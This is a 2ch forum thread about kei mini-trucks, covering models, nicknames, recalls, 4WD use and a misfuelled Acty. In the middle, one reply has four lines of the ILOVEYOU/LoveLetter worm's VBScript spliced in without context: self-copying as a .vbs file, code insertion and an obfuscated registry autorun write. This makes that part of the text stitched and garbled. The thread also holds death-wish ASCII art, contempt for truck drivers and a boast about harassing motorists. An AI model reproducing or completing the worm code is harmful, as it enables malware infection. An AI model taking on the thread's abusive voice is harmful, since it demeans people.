軽トラック総合スレッドpart3
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軽トラックいろいろ語りましょう!
前スレ
【仕事】軽トラック総合2【遊び】
http://hobby7.2ch.net/test/read.cgi/auto/1098071670/
※過去スレ・関連スレ等は>>2以降に 【過去スレ】
最高の軽トラックはどれ?
http://hobby4.2ch.net/test/read.cgi/auto/1059389905/
【徹底】軽トラック総合【討論】
http://hobby6.2ch.net/test/read.cgi/auto/1078817027/
【関連サイト】
●スズキ今昔物語 キャリイ
ttp://www.suzuki-w.co.jp/history2/carry/carkeifu.html アクティー ttp://www.honda.co.jp/ACTY/truck/index.html
キャリー ttp://www.suzuki.co.jp/dom4/lineup/carry/
サンバー ttp://www.subaru.co.jp/sambar/truck/index.html
スクラム ttp://www.scrum.mazda.co.jp/truck.html
ハイゼット ttp://www.daihatsu.co.jp/cata/truck/index.htm
クリッパー ttp://www.nissan.co.jp/CLIPPER/TRUCK/index.html
ミニキャブ ttp://www.mitsubishi-motors.co.jp/MINICAB-TRUCK/power.html 2ゲット
ーーーーーーーーーー 終 ーーーーー 了 ーーーーーーーーーー ミニキャブ虎のリヤオーバーハングが長いのは見た目に安定が悪そう。
だから、蜜微視ということを抜きにしても使いたくない。 >>1
. §
,§、 プラーン
,ー./ハ,§
〈:://二§_
/ヽ ヽ ヽ
|:: |::.. | |
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〈:: 〉:: | / |
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|__,||__|
/::__) /::__)
/ / /ノ,/ ))
~^~ ~^~
____
死ね >>1
「大型・特殊車両」板だってば。
軽トラックのどこが大型・特殊車両なんだか・・・。
字も読めないどころか、車両区分の理解も出来ないのかね? ヽ、 ヽ ヽ 、 ヽ
)ヽ、_,,,..._ ヽ、_, げえッ───────!!!
iー-、::_: `、ゝ_,,- ノ ( ) 、 )
ノ::`ー_-_ノ ノ ノ_,-"イ / ` 、ノ `i ( l
,-、 |::::.ヽ _。ヽ:: /_。フ' |ノ ヽ、 i、 ノ
|6`i/:::. ,,-.―'' /i|.ー-、. |
ヽ ::: i :: ⌒ : | <・・き、恐怖新聞に、>1の死が予言されているッ!?
ヽ`l | :: /ニ`i /
`|:. ヽ、 i_,,,、/ / ,へ___
,|:::._ヽ___/ _//`ー--、ニ=--―,
| ̄ ̄ ̄ ̄||| ̄| / / / __  ̄ ̄`¬
 ̄ ̄ ̄ ̄ ̄○ ̄ ̄ヽ | // / / 三三三 /
____________
|_________. ○月×日 |
||「>>1」オナニーの.|自 ||恐|| .|
||しすぎで死亡!!|殺 ||怖|| .|
| ̄ ̄ ̄ ̄@ ̄ ̄ ̄|か ||新|| .|
|@ △ @ @ .|? ||聞|| .|
| [(´ー`)] @ .|他 ___ .|
| ̄ ̄ ̄ ̄ ̄ ̄| @ .|殺 | 糞 | |
| ̄ ̄ ̄ ̄ ̄| | @ |か | ス | |
| <⌒ヽ |? | レ | |
| .< )〜.|謎.| 常 | |
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄は | 習 | |
| | | | | | | | | | | | | | 深 | 犯 | |
とりあえず
キャリー アクティーって誤った表記はやめれ。
ハイジェットは直ってたが : __,,,,、 .,,,,,,,、 ._
.l""^゙⌒ .゙| | ,| ,,,,,,,,、-:--ー‐'''"゙゙`l
.┴'っ .,('_ . | :| ( .. .,,,,,,,, ,,r=''''
..,,,-―'" / .| l ゙" ̄ ,r゛ ,,/
: |._,,,,,,,,,,, ,,r'''"~~` │ . | ,/ヾ, .," /
″ / .,l″ | l: ,,┘ ,/ l .|
i、 _,,,,,,,、 l゙ ヽr-''" .,,,丿 ゙l、 ゙'ー-、
゙ヽ,,,,,,,,,,,,,:| .゙l_ ._,,,;,,/ 'ヽ,,,,,_,ノ
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糞スレは・・
∧_∧ ∧_∧
_(´∀`) (´∀`)
三(⌒)_ ノ⊃( >>1 )
 ̄/ /) ) | | |
〈_)\) (__(_)
立てんなって
∧_∧ ∧_∧
( ´∀) (´∀`)
≡≡三 三ニ⌒)>>1 )
/ /) ) ̄| | |
`〈__)_) (__(_)
言ったろうが
∧_∧ _∧_∧
( ´)ノ );)∀`)
/  ̄,ノ" >>1 )
C /~ / / /
/ / 〉 (_(_/
\_)\)
ヴォケがーー! ヽl//
∧_∧(⌒) ―★――
( ) /‖ /|ヽ
(/ ノ 川 | ヽ
(O ノ 彡 |
/ / 〉
\_)_)
軽虎って居場所ないね
ここが商用になればここになるのか
つか1が引っ張らないのが敗因か
軽トラ関連スレでは↓の様な通称が出ていたが、
サンバー →田舎の911
アクティ →田舎のNSX
残りは誰か考えてくれ
キャリイ → ?
ハイゼット→ ?
ミニキャブ→ ?
スクラム → ?
ポーターキャブ → ? 220 :名無しさん?:2005/08/08(月) 12:30:54 ID:tYwAVPw0
【板名】 車種・メーカー
【板URL】 http://hobby7.2ch.net/auto/
【題名】 軽トラック総合スレッドpart3
【名前】
【メール】
【本文】
軽トラック いろいろ語りましょう!
221 :名無しさん?:2005/08/08(月) 12:34:43 ID:tYwAVPw0
>>220
立てる板を間違えました。
220は取り消して
こちらをお願いします。
【板名】 大型・特殊
【板URL】 http://hobby7.2ch.net/truck/
【題名】 軽トラック総合スレッドpart3
【名前】
【メール】
【本文】
スレタイにふさわしく 【truck】フォルダに移動して 軽トラックいろいろ語りましょう!
222 :名無しさん?:2005/08/08(月) 13:01:42 ID:???
>>221
part3?前スレは?
223 :名無しさん?:2005/08/08(月) 13:03:21 ID:???
>>221
大型・特殊板のほうが板違いじゃね?
224 :名無しさん?:2005/08/08(月) 13:07:12 ID:yWO3htl9
>>216
有難うございました!
225 :名無しさん?:2005/08/08(月) 13:10:11 ID:tYwAVPw0
221
大型・特殊(仮)板が出来てからすでに中型スレや個別のバンスレなど商用車のスレが立てられています。
前スレは大型・特殊(仮)板が作られる前に立てられたので車種・メーカー板に残っていました。
前スレが消化されたので今度やっと大型・特殊(仮)板に移動が出来ます。
過去ログ等は携帯からの閲覧のため2レス目以降に貼る予定です。
よろしくお願いします。
226 :名無しさん?:2005/08/08(月) 13:41:35 ID:???
>>221
これでいいかな?
軽トラック総合スレッドpart3
http://hobby7.2ch.net/test/read.cgi/truck/1123475983/
淡路の百姓は軽虎に玉葱1d以上積んで国道を平気に走る。捕まらない。 >>22
暗黙の了解かと。
四区の軽トラ普及してからサニーとかスターレットのエンジン積んだ農民車見なくなったねぇ。 漏れんちでは農協に米運ぶのにパレットに32(8×4段)袋積んでる。
農協で積み直すのが面倒なので5段積みたいがチョト無理
なので4段までにしてる。ほぼ3倍積んでるわけだが。
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御覧の糞スレは
エ ネ ル ギ ー と エ レ ク ト ロ ニ ク ス の
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の 提 供 で お 送 り し ま し た。
/ ̄ ̄ ̄ ̄ ̄\ / / \\∴∵|
/ / ̄ ̄ ̄ ̄ | | (・) (・) ヽ∵|
/ / ⌒ ⌒ | | ⊂ 6)
| / (・) (・)| | ___ /
(6 ⌒) | \ \_/ /
| ) ___ | ∫ \____/ ,〜((((((((〜〜、
\ \_/ / / ̄ ̄ ̄ ̄\ /⌒ - - ⌒ ( _(((((((((_ )
\____/ /\ / \ |/ 人 。 。 丿 |/ ~^^\)/^^~ヽ|
/⌒ ⌒\ | (゚) (゚) |\ \| 亠 | _ 《 _ |
/ 人 人 ノ゙\ \-----◯⌒つ| \⊇/干 \ ⊆ .(|-(_//_)-(_//_)-|)
\ \| l // / _||||||||| | | | 厶、 |
\⊇ ノ ⊆/ \ / \_// _/⌒v⌒\ ) \ |||||||||||| /
( Y ) \____∪⌒\ ノ ) /ヽ_ニ´_/`
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r | |――┐ r―― ヽ すいません、邪魔だからちょっと轢きますよ・・・
L.! !__./⌒ヽ Li__ \
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(_| | | /⊃⌒ヽ i \) /⌒ヾ .\\_ :・:∵:
\ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄"''' - ..,, 人 /⌒ヾ / \\ヽ∴: >>1
_ \_/⌒ヽ________/⌒ヽ て / ノテ-ヽ( 。Д。)二二つ
ヽ _ノ r―――─―――┐ _ノ ドカッ/ / / ∨ ̄∨
| ____| 三三三三三三三.|__l__ / / | | ウゲッ
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ノ.| | ===========[___]=======' ー' し'
ヽ_ノ_ノ ヽ__ノ_ノ
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ヽ |☆| )
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ヽ二二二二二/ 丶
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| め | │
ノ | |
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ヽ | ヽ / ̄  ̄\
\_____ノ \__/ / l
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( Ο丿 |  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| ヽ;;;;;/ /
 ̄ | │ | / / このごろのう三輪のトップカーなかなか見んようになったのう おっさんとこのなあーアクテイはのーう 玉葱のーう 2tぐらい積んで潰れんとのーう はしんりょるわー やっぱりアクテイやのーう
産婆ーのリアエンジンゲートを開けて
爆走すれば気分はアバルト http://park22.wakwak.com/~car-bike-fobby/
ディーゼル車の燃費向上薬売ってます・・・ ・2シーターで広々とした室内
・リアエンジンリアドライブ
・4輪独立サスペンション
・スーパーチャージャー
・フロントベンチレーテッドディスクブレーキ
・車速感応式パワーステアリング
・サイドウォークスルーAT全車採用
・強化シャシーフレーム付新環状力骨構造
・衝撃吸収ステアリングシステム
・電波式リモコンドアロック
・17年基準排出ガス50%低減レベル達成
・セレクティブ4WD機能(4WD時燃費17km/L)
・複合曲面ミラー
・最小半径3.9m
微 笑 む プ レ ミ ア ム
SUBARU 「SAMBAR Truck」
http://www.subaru.co.jp/sambar/truck/imgs/top.jpg
http://www.subaru.co.jp/sambar/truck/index.html
お求めはお近くのスバル販売店へどうぞ キャリーは室内激しく狭い!サンバーは激しく広かった。 >>47
だってリアエンジンだもん。
あの足下の広さは異常。 オイラのミニキャブトラックは右側にサイドブレーキがあるが
まだ慣れない・・・。
ふそうの4トンもサイドブレーキが右にある
三菱ってやつは・・・ はい、質問デス
ダイハツS210Pダンプもフレーム弱い?S110Pみたいにエンジンマウント辺りから折れたりしないか気になるんだ。 ここの他にも
【春夏】 軽トラック総合 4 【秋冬】
http://hobby7.2ch.net/test/read.cgi/auto/1140572080/
軽トラのすばらしさを語るスレ 3台目
http://hobby7.2ch.net/test/read.cgi/car/1141695110/
があるんだけど、この3つのうちの何処かに統合できないもんかなぁ。
まったりと進行している軽トラのスレが3つもあるなんて・・・
何処か一つで良いと思うんだが、そうは行かないんだろうか。
軽トラックという車種からするとこのスレが一番最適なんじゃねの 233
↑
あれ?こいつって、以前にも色んなスレッドを仕切ろうとして、
各スレの住人からボコボコに凹られてた、車板のヤシじゃん。まだやってんのか (笑プッ
このすれにも基地外(>>55)が現れたか・・・・・春だからかなぁ オフロードで鳴らした俺達軽トラ部隊は、安全性が低いという
濡れ衣を着せられ当局に規制されたが、
スクラップ工場を脱出し、地下にもぐった。
しかし、地下でくすぶっているような俺達じゃあない。
筋さえ通れば金次第でなんでもやってのける命知らず、
不可能を可能にし巨大な悪を粉砕する、俺達、特攻野郎Kチーム!
俺はSUBARUサンバー。通称「田舎のポルシェ」。
リアエンジンと4輪独立サスの名機。
俺のようなオーバースペックでなければ百戦錬磨のつわものどものリーダーは務まらん。
俺はHONDAアクティ。通称「田舎のNSX」。
自慢のミッドシップ高回転エンジンに、女はみんなイチコロさ。
ハッタリかまして、オフロードからオンロードまで、どこでも走ってみせるぜ。
よおお待ちどう。俺様こそMAZDAポーター。通称「昔はよく見たアレ」。
ドリフト車としての腕は天下一品!
非力?絶版?だから何。
MITUBISHIミニキャブ。通称「田舎のランエボ。」
農道走破の天才だ。たんぼのあぜ道でも突っ走ってみせらぁ。
でもリコールだけは勘弁な。
俺達は、普通車の通らぬ荒地にあえて挑戦する。
頼りになる神出鬼没の、特攻野郎Kチーム!
オフロードの作業で助けを借りたいときは、いつでも言ってくれ。 出た!!!!!!
軽トラ野郎Kチームだ!!!
早速だけど処分したい古畳があるんだが、クリーンセンターまで載せていってくれ!! スクラムクリッパーはどうでも良いとして
偉大なるキャリー
がKチーム構成員に入っていないのは納得いかんぞ!! 田圃のあぜ道に半ば朽ち果てた古い軽トラが放置してあった
くすんだ青色
ヘッドライトは丸目4灯で、左右縦に2個づつ
なかなか味の有るフロントデザインだと思った。
なんて奴か判る?360cc時代のかな?
こう言うデザインのが復活しないかな 昔はよく見たアレワラタ
しかしハイゼットもない。。。 「軽4輪トラック HONDA TN−V新発売 」キターーーー!!
スタンダード \331,000!!
http://www.honda.co.jp/news/1972/4720615.html
ホンダってこんなに古いリリースも見れるんだな。 >>59
それならば、・・・・・・・
私は、SUZUKIキャリイ、通称田んぼのジムニー
チームの紅一点。
泥道走破は、農繁仕様とデフロックで、お手のもの!
とか?ハイゼットは・・・・・・・どうしようorz
ナイトラッカー
スタックとスリップ、なんちゃって4駆の渦巻く現代に蘇る正義の騎士
ドリームカー・ダイハツハイゼットと共に、泥道を逃れるSUV達を追う
若きヒーロー ジャンボ
人は彼をナイトラッカーと呼ぶ
いまいちorz 現行スズキキャリーって
乗ってる人、乗用感覚はどないですか
テールランプ、どうよ。
バッチン!ハメコミ式。
みんなは八重集出版の、「Kリファイン」に出て来る様になった
『スーパーカー並のトラック・キャリー改』を見た事在るか!?
こっちもすんごいぜ、 浮上ーーーーーーーーーーーーーーーーーー・・・・・・ みんなよー、どうして>>66がせっかく物凄杉な事を書いてくれたのに
無視するなんてのちょっと遅れてるぜ〜! 俺もしかと見たぞ、「Kリファイン」を!
しかしもー、あれだけチューンナップやってるともう背が高いだけの
レースカーだぜ。 職場のハイゼットダンプの中で一服中。
四駆も後輪駆動もハイゼットが初体験の俺が来ましたよ >>64
悪くは無いのだが・・・狭いよ、がつがつ当るなぁ、、 ハイゼットはいいなぁ(*´∀`)シンプルで
カッコよさならキャリイなんだけどさ ハイゼットはなぁ…正直先代の方が内装いいと思うんだけどなぁ…。
なんていうか、かっこ悪くなったというか…。 うちのマー坊はかびくさいと思ってたら後ろのガラスの継ぎ目から雨漏りしてた
これから梅雨時,どうしようか悩んでます。
マナーの悪い一般車を語るスレ【全国虎糊の会】
http://hobby7.2ch.net/test/read.cgi/truck/1131401011/l50
1 :名無しさん@お腹いっぱい。:2005/11/08(火) 07:03:31 ID:F2KGqn4Z
バッチコーイ!
135 :名無しさん@お腹いっぱい。:2006/05/16(火) 19:06:12 ID:rYWnh8hr
仕事で運転してる時は、ほんとに一般車の雑魚共がチョロチョロとウザイ。
しかし看板を背負っているので、こっちはどうする事も出来ない。
なので、その分自家用車に乗ってる時は一般車をいじめてます。
制限速度丁度で走ったり、信号に引っ掛けて置き去りにしたり。
一般車は全体的に下手だし、頭を使って運転することが出来てないから
速度を調整して、あっさり信号に引っ掛けることが可能。
ttp://www.shinmaywa.co.jp/tokusou/shonan/new9.htm >>60
ttp://item.rakuten.co.jp/sepia/10007287/
これ? ttp://www.fhi.co.jp/news/03_10_12/03_11_10.htm
また、サンバートラック「TC Professional」は、
JA専売車種である「JAサンバートラック」と同仕様としている。
JAサンバーは農協以外でも買えるのね え?JAサンバーも2004年3月で無くなったんじゃなかったっけか。 >>93
スーパーチャージャーとターボを組み合わせた
専用エンジンがあるから 昔のグループBマシンみたいに下はSC・上はターボが効く >>95
本当に?軽にツインチャージャーなんてあるの? 赤帽サンバー、スーパーチャージャー車を見かけました。
お値段は?
やっぱりこれから暑くなる季節はリアエンジンのサンバーかなぁ アクチも何気に腰の辺りが熱くなるよ。っつか、狭杉で論外じゃねの >>93
赤帽の出資している中にスバルディーラーの連合みたいなのがある
赤帽自体が富士重工と密接な繋がりがあるらしい・・・が よくわかんね >>105
スマン、MRだったな。
狭いけど、速いよな IDが違うのは、104は携帯からカキコしたためです。 >>107
昔家の親父から聞いたのだが。
赤帽が各メーカーに専用車を作って欲しいと打診したのだが
OKを出してくれたのが富士だけだと聞いた。
なので赤帽専用車はサンバーになったと聞いた。 しかし、専用車である必要が有るのだろうか……<<赤帽 >>112
J,Sティーポで何度か赤帽サンバーの特集記事を読んだが赤帽って結構タフな使い方を求められているので富士重工にとっては
いいデータ取りになっているそうだよ 先行開発車として専用車を作る意義があるらしい
赤帽からの意見を反映させてデスビレスイグニッション、フェンダーミラーやサイドブレーキを引いてもフラットになるシート
などお互い持ちつ持たれつみたいだ アクティなんですがオイルを入れるところに間違えてガソリンを入れてしまいました!エンジンがかからなくなりどうしたらいいか困ってます!応急処置などの方法があれば教えてください!即レスでお願いします! >>117
ドレンボルト外してオイル抜きしてから、ガソリンを入れたというキャップも外して、
ガソリンの気化するのを待ってから、新しいオイルを規定量入れるよろし。 >>119
ギャグか?
大人しく修理工場に持って
つーかディーラーがいいかな 会社の車なんでバレないように直したいんです!もし業者に頼んだらいくらぐらいかかりますか? >>119
エンジンのある所を下から覗いてみてオイルパンの底にあるボルトなんだけど解かるかね?
オイルパンて何ですか?というようだったら車屋さんに電話して頼んだほうがいいと思うが、
俺、釣られてる? >>121
ばれたくないなら金に糸目つけずすぐにディーラーや修理工場にもって行け
せいぜい新オイル代と工賃数千円 トータル1万円で大丈夫だろう
俺も釣られてるのか? 釣りだろ?いくらなんでも間違わんだろw
マジなら工場直行か、正直に会社に言う。自分のミスなんだし アクティって助手席側後方下部にオイル補給口があるみたいだね
でもガソリンタンクキャップとオイル補給口って明らかに違うんだけど間違える人は間違えるのかな!? 確かに、アクティは昔からオイル給油口も荷台のしただから、間違える
人もいるだろう。 だけどガソリンタンクがあるから、普通に確認しとけば
間違えるわけがない。 ↑確かにスタンドで間違って給油してるの見たがアクティだったな ちなみに俺はスズキキャリィの52年乗りです 俺も昔アクティで配達してたときスタンドの新人に間違えられたよ。しかも気付かず走ってエンジンお釈迦だよ。まぁその時はスタンドで責任とったけど 一応キャップには『OIL FUILE』って刻印入ってるんだけどなぁ、たしかに紛らわしいかも。
ハイゼットなんかは右側後方荷台下にあるしね。
普通はオイル給油口はエンジンルーム内にあると思うもんなそりゃ。 『OIL FUILE』
『OIL FUILE』
?
『OIL FUILE』? まあそれがアクティのいいトコなんでしょうね ちなみにレカロスペシャルほしいです ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93 >>132
オイルフィラーキャップの略だと思ってるんだが。
つづりは間違ってるかもしれん。 軽トラックなら今の三菱ミニキャブのデザインが一番好きだ。 今の軽トラってどれも発売してから結構時が立ってますよね
アクティーとかそろそろフルモデルチェンジしてもいいような・・・ 軽の規格(幅と長さ)が変わったときに一斉にモデルチェンジして、そのまんまなんじゃないでしょうか。
まあ、デザインの新奇さとは無縁の存在だし、必要最小限の機能がトラックになってようなものだから、今のままで不満もないですけどね。
でも、目新しさも欲しいような気もしますね(言ってることが矛盾してますね)。
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,,illlllllllllll!l゙゜
,,illllllllllll!l゙゜
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,,illllllllll!゙゜ liiii,,
,,illllllll!゙゜ 'llllllli,,
,,illllllll!゙ lllllllllli,,
llllllllllli,_ ,,,,illlllllllllllllllli,
!llllllllllllllliiiiiiiiiiiii,,,,,,,,,,,,,,,iiiiiiiiiiiiiillllllllllllllllllllllllllllll
゙゙!!llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
゙゙゙゙!!!!!!llllllllllllllllllllllllllllllllllllllllllllllll!!!!!!!l゙゙゙゜
垢房仕様のスーパーチャージャをナメンナヨーー
日本で一番早く加速も抜群の性能。
足元のタイヤハウスも無いし、コレ乗ったら他のk虎には乗れない。 俺仕事車だから、頭の上まで箱きちゃってる。長距離だから高速使うけど100`出せなくておっかない思いする。そんな新キャリー乗りです。最近飾る事を楽しんでます 満を持して正統派次スレ誕生(車板スレ)
軽トラのすばらしさを語るスレ 4台目
ttp://hobby7.2ch.net/test/read.cgi/car/1162632940/
>>148氏
おれのは昔、NAサンバートラックの幌車で高さが2.3m程度だったが
空気抵抗はやはりそれなりにすごかった(空荷で110km/h巡航がやっと)
今はNAサンバーバンのAT車。120km/hまではあっという間で130kmで燃料カットされる。
3速だけど5MT車の5速より少しだけ低いだけだし空気抵抗が少ないのでそれほど回してるようには感じないな。
(もちろん貨物運送用に使ってる)
サンバー4速ATにならんかな?
MTもよいけど・・・ 質問
トランスファーが着いてる車ってパートタイム4WDって考えていいの?
初心者でよくわかんないので教えてください _________
// ̄ ̄ ̄ ̄ ̄l ,lT''''''l |
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l [(0!ニニニニ[ (0] | """" iョ'|__________
l__,,∠二ハ,__| 「' ̄' ̄' ̄' ̄' ̄' ̄':|
「 _┌─┐__ | ,r'ニ'、 |ニニニニニニ,ニニ;ニ、ニニl
`L_l__|____|__ノ! ハ ',l__|--' /;';'/ハ ',゙:、」!
l゙ ,f゙ ̄ ̄ ̄ ̄l ゙ソ リ!、 `丁 ゙ソ リ
`ー‐'゙ `ー‐'゙ `ー'゙
2ストキャリーなら、125ccあたりのチャンバー付けてみたいw 半年ぶりに軽トラに乗るんだけど気をつけることある? でも高速乗るとちょっと怖いね。
サンバーなのに130キロも出るし なんで渋滞してんだ?と思えば遥か遠くにヤシが先頭www 富士重の国内登録車に占めるMTの搭載比率は約30%
富士重、MT生産を富士機械に集約−本体はエンジンなど増産
http://www.nikkan.co.jp/news/nkx0220070811025beaa.html サンバー4WDの最大の欠点→シフトレバーの頂点についている4WD切替スイッチ チベットなどの人権問題が話題の中心になっている昨今ですが、支那がどんな国なのか思い出してください。
"殺す気か!?"メイド・イン・中国に気をつけろ!
http://jp.youtube.com/watch?v=ZFbeb__AaFY&feature=related >>176
に質問!
軽でアートやりたいんだけど、サブバッテリーや発電機使わずにノーマルのバッテリーだけで何ワットくらいまで付けれますか? 軽虎の事なら俺に聞け!
勝手にレスんな!粕
わかった?(^O^)/粕
ハィ!ポク大竹!\^o^/ そんな事、新和会の松田にきけよ!粕。わかった?(^O^)/ エンジンがかかんないお!ポク中竹!バッテリー交換しとけお! ポク大竹、軽油入れるなお!
軽トラの改造の事は、椎名社長より、新和会の松田に聞いてこい!わかった?(^O^)/ 軽トラのバッテリーって
何ワットまで耐えれるんかな?
分かる方居ませんか? アクティにライフシリーズに乗っているP型エンジン載せればどうなるんだろ。 富士が軽撤退確定した今、赤帽はどこからスーパーチャージャー搭載の軽トラを買うのだろう? 運転時の疲労を考えて、やっぱりエンジンが座席下にないホンダ?
ないない(w 軽トラのシートは何とかならないものかな?
もうちっといいシートをメーカーオプションで設定するとかさぁ・・・ ┏━━━━━━━━━━━━━━━━━━━━━┓
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( ̄l▼  ̄)! !
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/■___ (( ̄)) 新年あけましておめでとうございますーーっ!
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2009年 元旦 【リコール】スズキ エブリイ など13万台、人身事故2件
ススズキは25日、軽自動車『エブリイ』『キャリイ』『スクラム』3車種の後輪デファレンシャルに不具合があるとして、
国土交通省にリコール(回収・無償修理)を届け出た。
対象となるのは、2004年4月15日-2005年11月14日に製作された12万9766台。
手動変速機付車で、後輪デファレンシャルのピニオンシャフトの強度不足のため、
過大な荷重がかかる走行を繰り返すとピニオンシャフトが折れ、異音の発生または走行不能となり、
車輪がロックするおそれがある。
不具合発生件数は45件で、市場からの情報で発見した。人身事故が昨年5月と10月の計2件起きており、
いずれも車輪が急にロックして車両がスピンし、横転したことで軽傷を負っている。
レスポンス
ttp://response.jp/issue/2009/0225/article120951_1.html
ttp://response.jp/issue/2009/0225/article120951_1.images/218556.html ガソリン高騰時に、リッター14〜15キロ走る家にある軽トラをメインに乗るようになって、
とり回しが楽なのと燃料代が安いのとで、ほとんど軽トラしか乗らなくなった
オーディオもETCもつけた
ハイゼットとミゼット
ダイハツ工業に対し、道路運送車両法に定める保安基準に反する不適当車両を知りながら
組織的にリコール届けを怠ったとして、「リコール勧告」を行った。
対象車種は、平成6年1月〜平成10年2月まで生産したハイゼットとミゼットの4車種。
方向指示器の不具合により、最悪の場合火災になるおそれ
情報発生の日付:1999/3/26
ttp://www.caloricdiet.com/i/i_recall/daihatsu_99.3.26.html 平成4年式アクティ乗り
リアルタイムの4WDではあるが、4駆と2駆の切り替えが荷台下後輪デフのところで
ボルトでできるようになっている。通常公道は4駆は乗りにくいので2駆に切り替えて
乗っているのだが、車体下に貼ってあるの説明書きでは必ず4駆に切り替えなさいと
書いてあるのだが、なぜ戻さなければならないのだろうか。
誰か知っている方いればおしえてくだされ 自分も春夏秋は2WDにして乗ってたけど不具合なかったです。
でも4WDに切り替えするのを忘れて雪道でリア振ってクラッシュした人を数名知っています。
運転席で切り替えられないから、そういう事が起こらないように書いてあるのかな。 ありがとうです 少し不安がとれた感じ
2WDだとグリップが弱い感じもあるけど、俺の住んでるところはめったに雪降らないから
そこんところは心配ないと思う。このあたりまでの年式のホンダはくせがあるので、まあ周囲
はほとんどハイゼット乗ってるし、切りのいいところで乗換えようと思ってる。 >>184
ダイハツ車をOEM販売するようだからハイゼットトラックにターボ搭載させるとか無いかな… 普段ライフに乗っているが、俺の父者が足にしているアクティをちょっと乗る機会があったんだが、
軽トラってこんなに元気だっけ?と思うくらいパワフルに感じた。 まだ買えるかも
デイトナ8月号
ttp://www.daytona-mag.com/comm/mag/
今月の特集第一弾は
『K-TRUCK DYNAMIC TEST 2009』。 お久しぶ〜り〜ねぇ〜♪ アクティークローラに会うなんて〜♪
あーれから何年〜 たったのかしーら〜 ???〜♪ ゼロスポーツ…アフターパーツから EVメーカーへ
ゼロスポーツは、スバル系アフターパーツの販売に加え、国内17番目の自動車メーカーとして独自の電気自動車
(EV)を販売し続けている。
7月1日からは郵便事業向けに、従来のガソリンエンジン集配車をEV化した「エネルギー代替車両」の納入を開始した。
レスポンス
ttp://response.jp/issue/2009/0812/article128332_1.images/248421.html 出典: フリー百科事典『ウィキペディア(Wikipedia)』
トヨタグループ
ttp://ja.wikipedia.org/wiki/%E3%83%88%E3%83%A8%E3%82%BF%E3%82%B0%E3%83%AB%E3%83%BC%E3%83%97
トヨタグループ15社
上記13社にトヨタ自動車の傘下(連結子会社)である国内自動車メーカー2社を含めた
企業グループが(一般的な)「トヨタグループ」。
* ダイハツ工業株式会社
(1907年3月設立)-企業としては日本で最も歴史の長い自動車メーカー。
1930年にオート三輪で自動車業界に参入、小型車を主軸製品としてきた。
1998年にトヨタ自動車の傘下に入る。
トヨタの持株比率51.2% ('08.3月末現在)
* 日野自動車株式会社
(1942年5月設立)-いすゞ自動車の前身であるヂーゼル自動車工業より日野製造所が分離して発足、
太平洋戦争後は大型バス・トラックなど重車両を主として生産。
2001年にトヨタ自動車の傘下に入る。 スバル、サンバーシリーズを改良
富士重工業は、軽商用車『サンバー』シリーズに一部改良を実施。販売を開始した。
今回の改良では、トラック、パネルバン、バンの全車種でフロントマスクやインパネのデザインを一新。
バンの一部モデルにABSを装備したほか、大型のセンターアンダーポケットや、ユーティリティフック付の
助手席インパネトレイの採用など、機能性、快適性を向上させる仕様、装備の充実がはかられている。
また、バンの『ディアス』と『トランスポーター』に、新たにSOHCスーパーチャージャーエンジンを搭載し、
力強い走行性能を持つモデルを設定した。
これらの改良は、バンをベースとする福祉車両『トランスケアシリーズ』にも施される
朝日新聞
http://www.asahi.com/car/newcar/TKY200909040166.html 2人で周りに飛び散ったバンパーとかライトを拾って道路を急いで掃除していたら、
僕のクルマの後ろで止まって居た軽トラがエンジンを吹かして何か叫んでいるので行ったら
『さっさと、道をどけろ!』と言われました。当事者じゃない僕が勝手にクルマを
動かせるわけないじゃんという思いと、何故に上から目線なのかと気分が悪くなりながら
「単独事故でみたいで、僕は手伝ってるだけです」と言ったら
『んなっこと、しったこっちゃね〜んだよ!さっさとどかせ』
(中略)
それで軽トラのおじさんに『デフか何かが壊れたみたいで動かせないみたいです』と言ったら
部品がまだ散らばる道路を無理やり走りぬけて行きました。
http://minkara.carview.co.jp/userid/489610/blog/15809205/ 軽トラ乗りの低学歴クズどもは、全員死ねばいいのに。 >>193
整備点検用です、公道でゎ動力伝達装置の違法改造に当たります♪主要諸元が大きく違う車輌とされるので、事故の際にゎ不正契約(虚偽契約)、保険金を受け取ると保険詐欺に問われることも…まぁ発覚しないだろうけどw
ハブ直結なのでアンマリ意味ないカモ…Uタ-ンくらいか? リコールの届出について(スズキ キャリイ 他)
平成22年1月25日
スズキ株式会社から、平成22年1月25日国土交通大臣に対して、下記のとおりリコールの届出がありましたので、お知らせします。
国土交通省
ttp://www.mlit.go.jp/report/press/jidosha08_hh_000497.html ★★★低能20乗りがアンチは2人って事にしたい理由★★★
「20セルシオを叩いてるのは頭のおかしい2人だけですよ〜 こいつらの言ってる事はデタラメですよ〜」
「だから街で見掛けても煽らないでね〜 俺はいきがってるけどビビりなんだから〜」
もうみんな判ってるんだからwwwwwww
★★★低能20乗りがアンチは2人って事にしたい理由★★★
「20セルシオを叩いてるのは頭のおかしい2人だけですよ〜 こいつらの言ってる事はデタラメですよ〜」
「だから街で見掛けても煽らないでね〜 俺はいきがってるけどビビりなんだから〜」
★★★低能20乗りがアンチは2人でないと困る理由★★★
●このスレ見た人間に舐められて煽られるのが怖い
●内心焦りまくってるのを隠すため、2人のアンチを弄んでるフリをする
●実はアンチが多数居ることは一番よく知っているが、認めたら負けだと思っている
●何を質問されても恥ずかしくて答えられないから2名を誤魔化しに引用するため
●●●車の話ではまともに反論出来ないから誤魔化すため●●●
●まともに反論する知能がないため
Mini Truck on ice. Subaru SAMBER スバル サンバーで氷上ドライブ
ttp://www.youtube.com/watch?v=RoF4VXJFROU
雪も安心
ttp://omgpancakes.files.wordpress.com/2009/05/subaru-tracked-3.jpg?w=640&h=480
ttp://omgpancakes.files.wordpress.com/2009/05/subaru-tracked2.jpg?w=640&h=480 >>225 あげんなよ(怒)
板違いのスレは放置しろ 軽トラの六輪車、格好よかったな。キャタピラー式のもあったな。淡路限定とかで スバル サンバー WR BLUE LIMITED 画像ギャラリー
